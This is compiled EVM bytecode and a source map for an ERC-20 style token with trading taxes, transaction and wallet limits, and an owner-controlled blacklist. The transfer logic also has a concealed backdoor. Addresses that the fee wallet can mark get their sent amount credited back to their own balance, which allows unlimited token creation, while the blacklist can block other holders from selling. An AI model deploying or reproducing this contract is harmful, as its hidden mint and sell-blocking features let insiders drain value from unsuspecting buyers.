9133850611782565b6006557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c96009600a611773565b6105d7906319133850611782565b60405190815260200160405180910390a1565b60006103d6338484610a53565b6000546001600160a01b031633146106215760405162461bcd60e51b81526004016104e590611799565b601354600160a01b900460ff161561067b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e5565b6011546106a79030906001600160a01b03166106996009600a611773565b61045b906319133850611782565b6011546001600160a01b031663f305d71947306106d9816001600160a01b031660009081526001602052604090205490565b6000806106ee6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610756573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061077b91906117ce565b505060135460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f891906117fc565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b0316331461083c5760405162461bcd60e51b81526004016104e590611799565b60005b825181101561091d57306001600160a01b031683828151811061086457610864611819565b60200260200101516001600160a01b0316036108c25760405162461bcd60e51b815260206004820181905260248201527f43616e277420626c61636b6c69737420636f6e7472616374206164647265737360448201526064016104e5565b81600460008584815181106108d9576108d9611819565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806109158161182f565b91505061083f565b505050565b6001600160a01b03831661098b5760405162461bcd60e51b815260206004820152602a60248201527f45524332303a2043616e277420617070726f76652066726f6d20746865207a65604482015269726f206164647265737360b01b60648201526084016104e5565b6001600160a01b0382166109f25760405162461bcd60e51b815260206004820152602860248201527f45524332303a2043616e277420617070726f766520746f20746865207a65726f604482015267206164647265737360c01b60648201526084016104e5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ab75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e5565b6001600160a01b038216610b195760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e5565b60008111610b7b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e5565b600080546001600160a01b03858116911614801590610ba857506000546001600160a01b03848116911614155b15610f56576001600160a01b03841660009081526004602052604090205460ff16158015610bef57506001600160a01b03831660009081526004602052604090205460ff16155b610bf857600080fd5b610c246064610c1e600d5460105411610c1357600954610c17565b600b545b85906110d3565b9061115c565b6013549091506001600160a01b038581169116148015610c5257506011546001600160a01b03848116911614155b8015610c7757506001600160a01b03831660009081526003602052604090205460ff16155b15610d5f57600554821115610cce5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104e5565b60065482610cf1856001600160a01b031660009081526001602052604090205490565b610cfb9190611848565b1115610d495760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e5565b60108054906000610d598361182f565b91905055505b6001600160a01b03841660009081526003602052604090205460ff1615610dae576001600160a01b03841660009081526001602052604081208054849290610da8908490611848565b90915550505b6013546001600160a01b03848116911614801590610de557506001600160a01b03831660009081526003602052604090205460ff16155b15610e655760065482610e0d856001600160a01b031660009081526001602052604090205490565b610e179190611848565b1115610e655760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e5565b6013546001600160a01b038481169116148015610e8b57506001600160a01b0384163014155b15610eb857610eb56064610c1e600e5460105411610eab57600a54610c17565b600c5485906110d3565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610eef57506013546001600160a01b038581169116145b8015610f045750601354600160b01b900460ff165b8015610f11575060075481115b8015610f205750600f54601054115b15610f5457610f42610f3d84610f388460085461119e565b61119e565b6111b3565b478015610f5257610f524761132d565b505b505b8015610fd05730600090815260016020526040902054610f76908261136b565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fc79085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610ff390836113ca565b6001600160a01b03851660009081526001602052604090205561103861101983836113ca565b6001600160a01b0385166000908152600160205260409020549061136b565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61108285856113ca565b60405190815260200160405180910390a350505050565b600081848411156110bd5760405162461bcd60e51b81526004016104e5919061143a565b5060006110ca848661185b565b95945050505050565b6000826000036110e5575060006103da565b60006110f18385611782565b9050826110fe858361186e565b146111555760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e5565b9392505050565b600061115583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061140c565b60008183116111ad5782611155565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111fb576111fb611819565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611254573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112789190611890565b8160018151811061128b5761128b611819565b6001600160a01b0392831660209182029290920101526011546112b19130911684610922565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ea9085906000908690309042906004016118ad565b600060405180830381600087803b15801561130457600080fd5b505af1158015611318573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611367573d6000803e3d6000fd5b5050565b6000806113788385611848565b9050838110156111555760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e5565b600061115583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611099565b6000818361142d5760405162461bcd60e51b81526004016104e5919061143a565b5060006110ca848661186e565b600060208083528351808285015260005b818110156114675785810183015185820160400152820161144b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461149d57600080fd5b50565b80356114ab81611488565b919050565b600080604083850312156114c357600080fd5b82356114ce81611488565b946020939093013593505050565b6000806000606084860312156114f157600080fd5b83356114fc81611488565b9250602084013561150c81611488565b929592945050506040919091013590565b60006020828403121561152f57600080fd5b813561115581611488565b6000806040838503121561154d57600080fd5b823561155881611488565b9150602083013561156881611488565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b801515811461149d57600080fd5b80356114ab81611589565b600080604083850312156115b557600080fd5b823567ffffffffffffffff808211156115cd57600080fd5b818501915085601f8301126115e157600080fd5b81356020828211156115f5576115f5611573565b8160051b604051601f19603f8301168101818110868211171561161a5761161a611573565b60405292835281830193508481018201928984111561163857600080fd5b948201945b8386101561165d5761164e866114a0565b8552948201949382019361163d565b965061166c9050878201611597565b9450505050509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116ca5781600019048211156116b0576116b0611679565b808516156116bd57918102915b93841c9390800290611694565b509250929050565b6000826116e1575060016103da565b816116ee575060006103da565b8160018114611704576002811461170e5761172a565b60019150506103da565b60ff84111561171f5761171f611679565b50506001821b6103da565b5060208310610133831016604e8410600b841016171561174d575081810a6103da565b611757838361168f565b806000190482111561176b5761176b611679565b029392505050565b600061115560ff8416836116d2565b80820281158282048414176103da576103da611679565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156117e357600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561180e57600080fd5b815161115581611589565b634e487b7160e01b600052603260045260246000fd5b60006001820161184157611841611679565b5060010190565b808201808211156103da576103da611679565b818103818111156103da576103da611679565b60008261188b57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156118a257600080fd5b815161115581611488565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118fd5784516001600160a01b0316835293830193918301916001016118d8565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a05ffc2fe0c0c6d1a42471497ec11f9675f37dfec54bfbe98dd8b2e8eedcab8064736f6c63430008130033

3723:7708:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5711:83;;;;;;;;;;-1:-1:-1;5781:5:0;;;;;;;;;;;;-1:-1:-1;;;5781:5:0;;;;5711:83;;;;;;;:::i;:::-;;;;;;;;6218:161;;;;;;;;;;-1:-1:-1;6218:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6218:161:0;1162:187:1;4352:51:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;4352:51:0;1354:177:1;5988:95:0;;;;;;;;;;;;;:::i;9194:313::-;;;;;;;;;;-1:-1:-1;9194:313:0;;;;;:::i;:::-;;:::i;5897:83::-;;;;;;;;;;-1:-1:-1;5897:83:0;;3844:1;2139:36:1;;2127:2;2112:18;5897:83:0;1997:184:1;6538:188:0;;;;;;;;;;-1:-1:-1;6538:188:0;;;;;:::i;:::-;;:::i;:::-;;6091:119;;;;;;;;;;-1:-1:-1;6091:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6184:18:0;6157:7;6184:18;;;:9;:18;;;;;;;6091:119;984:148;;;;;;;;;;;;;:::i;11269:159::-;;;;;;;;;;;;;:::i;4162:59::-;;;;;;;;;;;;;;;;770:79;;;;;;;;;;-1:-1:-1;808:7:0;835:6;770:79;;-1:-1:-1;;;;;835:6:0;;;2844:51:1;;2832:2;2817:18;770:79:0;2698:203:1;4228:59:0;;;;;;;;;;;;;;;;5802:87;;;;;;;;;;-1:-1:-1;5874:7:0;;;;;;;;;;;;-1:-1:-1;;;5874:7:0;;;;5802:87;;6832:167;;;;;;;;;;-1:-1:-1;6832:167:0;;;;;:::i;:::-;;:::i;4294:51::-;;;;;;;;;;;;;;;;10410:459;;;;;;;;;;;;;:::i;6387:143::-;;;;;;;;;;-1:-1:-1;6387:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6495:18:0;;;6468:7;6495:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6387:143;10114:288;;;;;;;;;;-1:-1:-1;10114:288:0;;;;;:::i;:::-;;:::i;6218:161::-;6293:4;6310:39;427:10;6333:7;6342:6;6310:8;:39::i;:::-;-1:-1:-1;6367:4:0;6218:161;;;;;:::o;5988:95::-;6041:7;3901:13;3844:1;3901:2;:13;:::i;:::-;3887:27;;:11;:27;:::i;:::-;6061:14;;5988:95;:::o;9194:313::-;9292:4;9309:36;9319:6;9327:9;9338:6;9309:9;:36::i;:::-;9356:121;9365:6;427:10;9387:89;9425:6;9387:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9387:19:0;;;;;;:11;:19;;;;;;;;427:10;9387:33;;;;;;;;;;:37;:89::i;:::-;9356:8;:121::i;:::-;-1:-1:-1;9495:4:0;9194:313;;;;;:::o;6538:188::-;6628:10;;-1:-1:-1;;;;;6628:10:0;6614;:24;6606:33;;;;;;6650:10;:20;;-1:-1:-1;;;;;6650:20:0;;;-1:-1:-1;;;;;;6650:20:0;;;;;;;:10;6681:30;;;:18;:30;;;;;:37;;-1:-1:-1;;6681:37:0;6650:20;6681:37;;;6538:188::o;984:148::-;897:6;;-1:-1:-1;;;;;897:6:0;427:10;897:22;889:67;;;;-1:-1:-1;;;889:67:0;;;;;;;:::i;:::-;;;;;;;;;1091:1:::1;1075:6:::0;;1054:40:::1;::::0;-1:-1:-1;;;;;1075:6:0;;::::1;::::0;1054:40:::1;::::0;1091:1;;1054:40:::1;1122:1;1105:19:::0;;-1:-1:-1;;;;;;1105:19:0::1;::::0;;984:148::o;11269:159::-;897:6;;-1:-1:-1;;;;;897:6:0;427:10;897:22;889:67;;;;-1:-1:-1;;;889:67:0;;;;;;;:::i;:::-;3901:13:::1;3844:1;3901:2;:13;:::i;:::-;3887:27;::::0;:11:::1;:27;:::i;:::-;11322:12;:22:::0;3901:13:::1;3844:1;3901:2;:13;:::i;:::-;3887:27;::::0;:11:::1;:27;:::i;:::-;11355:14;:22:::0;11393:27:::1;3901:13;3844:1;3901:2;:13;:::i;:::-;3887:27;::::0;:11:::1;:27;:::i;:::-;11393;::::0;1500:25:1;;;1488:2;1473:18;11393:27:0::1;;;;;;;11269:159::o:0;6832:167::-;6910:4;6927:42;427:10;6951:9;6962:6;6927:9;:42::i;10410:459::-;897:6;;-1:-1:-1;;;;;897:6:0;427:10;897:22;889:67;;;;-1:-1:-1;;;889:67:0;;;;;;;:::i;:::-;10474:11:::1;::::0;-1:-1:-1;;;10474:11:0;::::1;;;10473:12;10465:47;;;::::0;-1:-1:-1;;;10465:47:0;;7134:2:1;10465:47:0::1;::::0;::::1;7116:21:1::0;7173:2;7153:18;;;7146:30;7212:25;7192:18;;;7185:53;7255:18;;10465:47:0::1;6932:347:1::0;10465:47:0::1;10555:15;::::0;10523:58:::1;::::0;10540:4:::1;::::0;-1:-1:-1;;;;;10555:15:0::1;3901:13;3844:1;3901:2;:13;:::i;:::-;3887:27;::::0;:11:::1;:27;:::i;10523:58::-;10592:15;::::0;-1:-1:-1;;;;;10592:15:0::1;:31;10631:21;10662:4;10668:24;10662:4:::0;-1:-1:-1;;;;;6184:18:0;6157:7;6184:18;;;:9;:18;;;;;;;6091:119;10668:24:::1;10693:1;10695::::0;10697:7:::1;808::::0;835:6;-1:-1:-1;;;;;835:6:0;;770:79;10697:7:::1;10592:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10592:129:0;;;-1:-1:-1;;;;;7643:15:1;;;10592:129:0::1;::::0;::::1;7625:34:1::0;7675:18;;;7668:34;;;;7718:18;;;7711:34;;;;7761:18;;;7754:34;7825:15;;;7804:19;;;7797:44;10705:15:0::1;7857:19:1::0;;;7850:35;7559:19;;10592:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10739:13:0::1;::::0;10770:15:::1;::::0;10732:71:::1;::::0;-1:-1:-1;;;10732:71:0;;-1:-1:-1;;;;;10770:15:0;;::::1;10732:71;::::0;::::1;8381:51:1::0;-1:-1:-1;;8448:18:1;;;8441:34;10739:13:0;::::1;::::0;-1:-1:-1;10732:29:0::1;::::0;8354:18:1;;10732:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10814:11:0::1;:18:::0;;-1:-1:-1;;;;10843:18:0;-1:-1:-1;;;10843:18:0;;;10410:459::o;10114:288::-;897:6;;-1:-1:-1;;;;;897:6:0;427:10;897:22;889:67;;;;-1:-1:-1;;;889:67:0;;;;;;;:::i;:::-;10213:6:::1;10208:187;10229:7;:14;10225:1;:18;10208:187;;;10295:4;-1:-1:-1::0;;;;;10273:27:0::1;:7;10281:1;10273:10;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1::0;;;;;10273:27:0::1;::::0;10265:72:::1;;;::::0;-1:-1:-1;;;10265:72:0;;9070:2:1;10265:72:0::1;::::0;::::1;9052:21:1::0;;;9089:18;;;9082:30;9148:34;9128:18;;;9121:62;9200:18;;10265:72:0::1;8868:356:1::0;10265:72:0::1;10375:8;10352;:20;10361:7;10369:1;10361:10;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10352:20:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10352:20:0;:31;;-1:-1:-1;;10352:31:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10245:3;::::1;::::0;::::1;:::i;:::-;;;;10208:187;;;;10114:288:::0;;:::o;10914:347::-;-1:-1:-1;;;;;11007:19:0;;10999:74;;;;-1:-1:-1;;;10999:74:0;;9571:2:1;10999:74:0;;;9553:21:1;9610:2;9590:18;;;9583:30;9649:34;9629:18;;;9622:62;-1:-1:-1;;;9700:18:1;;;9693:40;9750:19;;10999:74:0;9369:406:1;10999:74:0;-1:-1:-1;;;;;11092:21:0;;11084:74;;;;-1:-1:-1;;;11084:74:0;;9982:2:1;11084:74:0;;;9964:21:1;10021:2;10001:18;;;9994:30;10060:34;10040:18;;;10033:62;-1:-1:-1;;;10111:18:1;;;10104:38;10159:19;;11084:74:0;9780:404:1;11084:74:0;-1:-1:-1;;;;;11169:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11221:32;;1500:25:1;;;11221:32:0;;1473:18:1;11221:32:0;;;;;;;10914:347;;;:::o;7007:2179::-;-1:-1:-1;;;;;7095:18:0;;7087:68;;;;-1:-1:-1;;;7087:68:0;;10391:2:1;7087:68:0;;;10373:21:1;10430:2;10410:18;;;10403:30;10469:34;10449:18;;;10442:62;-1:-1:-1;;;10520:18:1;;;10513:35;10565:19;;7087:68:0;10189:401:1;7087:68:0;-1:-1:-1;;;;;7174:16:0;;7166:64;;;;-1:-1:-1;;;7166:64:0;;10797:2:1;7166:64:0;;;10779:21:1;10836:2;10816:18;;;10809:30;10875:34;10855:18;;;10848:62;-1:-1:-1;;;10926:18:1;;;10919:33;10969:19;;7166:64:0;10595:399:1;7166:64:0;7258:1;7249:6;:10;7241:64;;;;-1:-1:-1;;;7241:64:0;;11201:2:1;7241:64:0;;;11183:21:1;11240:2;11220:18;;;11213:30;11279:34;11259:18;;;11252:62;-1:-1:-1;;;11330:18:1;;;11323:39;11379:19;;7241:64:0;10999:405:1;7241:64:0;7316:17;835:6;;-1:-1:-1;;;;;7350:15:0;;;835:6;;7350:15;;;;:32;;-1:-1:-1;808:7:0;835:6;-1:-1:-1;;;;;7369:13:0;;;835:6;;7369:13;;7350:32;7346:1484;;;-1:-1:-1;;;;;7408:14:0;;;;;;:8;:14;;;;;;;;7407:15;:32;;;;-1:-1:-1;;;;;;7427:12:0;;;;;;:8;:12;;;;;;;;7426:13;7407:32;7399:41;;;;;;7467:76;7539:3;7467:67;7489:15;;7479:9;;:25;7478:55;;7519:14;;7478:55;;;7506:12;;7478:55;7467:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7572:13;;7455:88;;-1:-1:-1;;;;;;7564:21:0;;;7572:13;;7564:21;:55;;;;-1:-1:-1;7603:15:0;;-1:-1:-1;;;;;7589:30:0;;;7603:15;;7589:30;;7564:55;:83;;;;-1:-1:-1;;;;;;7625:22:0;;;;;;:18;:22;;;;;;;;7623:24;7564:83;7560:313;;;7687:12;;7677:6;:22;;7669:60;;;;-1:-1:-1;;;7669:60:0;;11611:2:1;7669:60:0;;;11593:21:1;11650:2;11630:18;;;11623:30;11689:27;11669:18;;;11662:55;11734:18;;7669:60:0;11409:349:1;7669:60:0;7782:14;;7772:6;7756:13;7766:2;-1:-1:-1;;;;;6184:18:0;6157:7;6184:18;;;:9;:18;;;;;;;6091:119;7756:13;:22;;;;:::i;:::-;:40;;7748:79;;;;-1:-1:-1;;;7748:79:0;;12095:2:1;7748:79:0;;;12077:21:1;12134:2;12114:18;;;12107:30;12173:28;12153:18;;;12146:56;12219:18;;7748:79:0;11893:350:1;7748:79:0;7846:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7560:313;-1:-1:-1;;;;;7891:24:0;;;;;;:18;:24;;;;;;;;7887:60;;;-1:-1:-1;;;;;7919:15:0;;;;;;:9;:15;;;;;:25;;7938:6;;7919:15;:25;;7938:6;;7919:25;:::i;:::-;;;;-1:-1:-1;;7887:60:0;7971:13;;-1:-1:-1;;;;;7965:19:0;;;7971:13;;7965:19;;;;:47;;-1:-1:-1;;;;;;7990:22:0;;;;;;:18;:22;;;;;;;;7988:24;7965:47;7961:167;;;8067:14;;8057:6;8041:13;8051:2;-1:-1:-1;;;;;6184:18:0;6157:7;6184:18;;;:9;:18;;;;;;;6091:119;8041:13;:22;;;;:::i;:::-;:40;;8033:79;;;;-1:-1:-1;;;8033:79:0;;12095:2:1;8033:79:0;;;12077:21:1;12134:2;12114:18;;;12107:30;12173:28;12153:18;;;12146:56;12219:18;;8033:79:0;11893:350:1;8033:79:0;8151:13;;-1:-1:-1;;;;;8145:19:0;;;8151:13;;8145:19;:43;;;;-1:-1:-1;;;;;;8168:20:0;;8183:4;8168:20;;8145:43;8142:174;;;8221:79;8296:3;8221:70;8243:16;;8233:9;;:26;8232:58;;8275:15;;8232:58;;;8261:13;;8221:6;;:10;:70::i;:79::-;8209:91;;8142:174;8379:4;8330:28;6184:18;;;:9;:18;;;;;;8405:6;;-1:-1:-1;;;8405:6:0;;;;8404:7;:32;;;;-1:-1:-1;8423:13:0;;-1:-1:-1;;;;;8415:21:0;;;8423:13;;8415:21;8404:32;:47;;;;-1:-1:-1;8440:11:0;;-1:-1:-1;;;8440:11:0;;;;8404:47;:89;;;;;8476:17;;8455:20;:38;8404:89;:121;;;;;8507:18;;8497:9;;:28;8404:121;8400:419;;;8546:67;8563:49;8567:6;8574:37;8578:20;8599:11;;8574:3;:37::i;:::-;8563:3;:49::i;:::-;8546:16;:67::i;:::-;8661:21;8704:22;;8701:103;;8751:33;8762:21;8751:10;:33::i;:::-;8527:292;8400:419;7384:1446;7346:1484;8845:11;;8842:161;;8913:4;8895:24;;;;:9;:24;;;;;;:39;;8924:9;8895:28;:39::i;:::-;8888:4;8870:24;;;;:9;:24;;;;;;;:64;;;;8952:39;;-1:-1:-1;;;;;8952:39:0;;;;;;;8981:9;1500:25:1;;1488:2;1473:18;;1354:177;8952:39:0;;;;;;;;8842:161;-1:-1:-1;;;;;9029:15:0;;;;;;:9;:15;;;;;;:27;;9049:6;9029:19;:27::i;:::-;-1:-1:-1;;;;;9013:15:0;;;;;;:9;:15;;;;;:43;9081:40;9099:21;:6;9110:9;9099:10;:21::i;:::-;-1:-1:-1;;;;;9081:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9067:13:0;;;;;;;:9;:13;;;;;:54;;;;9137:41;;;9156:21;:6;9167:9;9156:10;:21::i;:::-;9137:41;;1500:25:1;;;1488:2;1473:18;9137:41:0;;;;;;;7076:2110;7007:2179;;;:::o;2173:190::-;2259:7;2295:12;2287:6;;;;2279:29;;;;-1:-1:-1;;;2279:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2319:9:0;2331:5;2335:1;2331;:5;:::i;:::-;2319:17;2173:190;-1:-1:-1;;;;;2173:190:0:o;2371:246::-;2429:7;2453:1;2458;2453:6;2449:47;;-1:-1:-1;2483:1:0;2476:8;;2449:47;2506:9;2518:5;2522:1;2518;:5;:::i;:::-;2506:17;-1:-1:-1;2551:1:0;2542:5;2546:1;2506:17;2542:5;:::i;:::-;:10;2534:56;;;;-1:-1:-1;;;2534:56:0;;12805:2:1;2534:56:0;;;12787:21:1;12844:2;12824:18;;;12817:30;12883:34;12863:18;;;12856:62;-1:-1:-1;;;12934:18:1;;;12927:31;12975:19;;2534:56:0;12603:397:1;2534:56:0;2608:1;2371:246;-1:-1:-1;;;2371:246:0:o;2625:132::-;2683:7;2710:39;2714:1;2717;2710:39;;;;;;;;;;;;;;;;;:3;:39::i;10008:98::-;10065:7;10092:1;10090;:3;10089:9;;10097:1;10089:9;;;-1:-1:-1;10095:1:0;10008:98;-1:-1:-1;10008:98:0:o;9515:483::-;5164:6;:13;;-1:-1:-1;;;;5164:13:0;-1:-1:-1;;;5164:13:0;;;9617:16:::1;::::0;;9631:1:::1;9617:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9617:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9617:16:0::1;9593:40;;9662:4;9644;9649:1;9644:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9644:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9688:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9688:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9644:7;;9688:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9678:4;9683:1;9678:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9678:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9753:15:::1;::::0;9721:62:::1;::::0;9738:4:::1;::::0;9753:15:::1;9771:11:::0;9721:8:::1;:62::i;:::-;9794:15;::::0;:196:::1;::::0;-1:-1:-1;;;9794:196:0;;-1:-1:-1;;;;;9794:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9875:11;;9794:15:::1;::::0;9917:4;;9944::::1;::::0;9964:15:::1;::::0;9794:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5200:6:0;:14;;-1:-1:-1;;;;5200:14:0;;;-1:-1:-1;;;;9515:483:0:o;6734:90::-;6789:10;;:27;;-1:-1:-1;;;;;6789:10:0;;;;:27;;;;;6809:6;;6789:10;:27;:10;:27;6809:6;6789:10;:27;;;;;;;;;;;;;;;;;;;;;6734:90;:::o;1842:179::-;1900:7;;1932:5;1936:1;1932;:5;:::i;:::-;1920:17;;1961:1;1956;:6;;1948:46;;;;-1:-1:-1;;;1948:46:0;;14448:2:1;1948:46:0;;;14430:21:1;14487:2;14467:18;;;14460:30;14526:29;14506:18;;;14499:57;14573:18;;1948:46:0;14246:351:1;2029:136:0;2087:7;2114:43;2118:1;2121;2114:43;;;;;;;;;;;;;;;;;:3;:43::i;2765:189::-;2851:7;2886:12;2879:5;2871:28;;;;-1:-1:-1;;;2871:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2910:9:0;2922:5;2926:1;2922;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:255::-;2253:6;2306:2;2294:9;2285:7;2281:23;2277:32;2274:52;;;2322:1;2319;2312:12;2274:52;2361:9;2348:23;2380:31;2405:5;2380:31;:::i;2906:388::-;2974:6;2982;3035:2;3023:9;3014:7;3010:23;3006:32;3003:52;;;3051:1;3048;3041:12;3003:52;3090:9;3077:23;3109:31;3134:5;3109:31;:::i;:::-;3159:5;-1:-1:-1;3216:2:1;3201:18;;3188:32;3229:33;3188:32;3229:33;:::i;:::-;3281:7;3271:17;;;2906:388;;;;;:::o;3299:127::-;3360:10;3355:3;3351:20;3348:1;3341:31;3391:4;3388:1;3381:15;3415:4;3412:1;3405:15;3431:118;3517:5;3510:13;3503:21;3496:5;3493:32;3483:60;;3539:1;3536;3529:12;3554:128;3619:20;;3648:28;3619:20;3648:28;:::i;3687:1191::-;3777:6;3785;3838:2;3826:9;3817:7;3813:23;3809:32;3806:52;;;3854:1;3851;3844:12;3806:52;3894:9;3881:23;3923:18;3964:2;3956:6;3953:14;3950:34;;;3980:1;3977;3970:12;3950:34;4018:6;4007:9;4003:22;3993:32;;4063:7;4056:4;4052:2;4048:13;4044:27;4034:55;;4085:1;4082;4075:12;4034:55;4121:2;4108:16;4143:4;4166:2;4162;4159:10;4156:36;;;4172:18;;:::i;:::-;4218:2;4215:1;4211:10;4250:2;4244:9;4313:2;4309:7;4304:2;4300;4296:11;4292:25;4284:6;4280:38;4368:6;4356:10;4353:22;4348:2;4336:10;4333:18;4330:46;4327:72;;;4379:18;;:::i;:::-;4415:2;4408:22;4465:18;;;4499:15;;;;-1:-1:-1;4541:11:1;;;4537:20;;;4569:19;;;4566:39;;;4601:1;4598;4591:12;4566:39;4625:11;;;;4645:148;4661:6;4656:3;4653:15;4645:148;;;4727:23;4746:3;4727:23;:::i;:::-;4715:36;;4678:12;;;;4771;;;;4645:148;;;4812:6;-1:-1:-1;4837:35:1;;-1:-1:-1;4853:18:1;;;4837:35;:::